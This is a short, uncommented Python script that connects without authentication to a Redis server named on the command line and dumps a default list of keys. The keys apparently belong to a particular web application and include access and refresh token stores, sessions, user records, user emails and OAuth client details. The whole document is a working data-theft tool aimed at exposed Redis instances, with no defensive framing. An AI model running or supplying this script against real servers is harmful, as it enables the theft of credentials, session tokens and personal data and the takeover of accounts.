#!/usr/bin/env python3
import socket,sys,re
host=sys.argv[1]; port=int(sys.argv[2]) if len(sys.argv)>2 else 6379
keys=sys.argv[3:] or ['_ADMIN_MAIN_MENU','_ADMIN_TOP_NAME','site_controller_TB_users_manager','TB_users_manager','authenticationStore','accessTokenStore','refreshTokenStore','session','User','UserInfo','UserEmails','OauthClientDetail','Appid','login_opts','BlockIP','GoToLinkBlock','IPAddr','user_online','RiskManagementLevel']
def enc(*aa):
 b=b'*'+str(len(aa)).encode()+b'\r\n'
 for a in aa:
  if isinstance(a,str): a=a.encode()
  b+=b'$'+str(len(a)).encode()+b'\r\n'+a+b'\r\n'
 return b
def read(f):
 line=f.readline()
 if not line: raise EOFError
 t=line[:1]; body=line[1:].rstrip(b'\r\n')
 if t==b'+': return body.decode('utf-8','replace')
 if t==b'-': return {'err':body.decode('utf-8','replace')}
 if t==b':': return int(body)
 if t==b'$':
  n=int(body)
  if n<0:return None
  d=f.read(n); f.read(2); return d
 if t==b'*':
  n=int(body)
  if n<0:return None
  return [read(f) for _ in range(n)]
 return body
def strings(b):
 if not isinstance(b,(bytes,bytearray)): return str(b)
 return [x.decode('utf-8','replace') for x in re.findall(rb'[\x20-\x7e\xc2-\xf4][\x20-\x7e\x80-\xbf]*',bytes(b)) if len(x)>=3]
s=socket.create_connection((host,port),timeout=5); f=s.makefile('rb')
def cmd(*a): s.sendall(enc(*a)); return read(f)
for k in keys:
 try:
  typ=cmd('TYPE',k); typ=typ.decode() if isinstance(typ,bytes) else str(typ)
  print('\n###',k,typ,flush=True)
  if typ=='string': r=cmd('GET',k); print(strings(r),flush=True)
  elif typ=='hash':
   r=cmd('HGETALL',k)
   if isinstance(r,list):
    for i in range(0,min(len(r),200),2):
     print('FIELD',repr(r[i]),flush=True); print(strings(r[i+1]),flush=True)
  elif typ=='set': print(strings(cmd('SMEMBERS',k)),flush=True)
  elif typ=='zset': print(strings(cmd('ZRANGE',k,'0','100','WITHSCORES')),flush=True)
  elif typ=='list': print(strings(cmd('LRANGE',k,'0','100')),flush=True)
  else: print('(skip)',flush=True)
 except Exception as e: print('ERR',repr(e),flush=True)
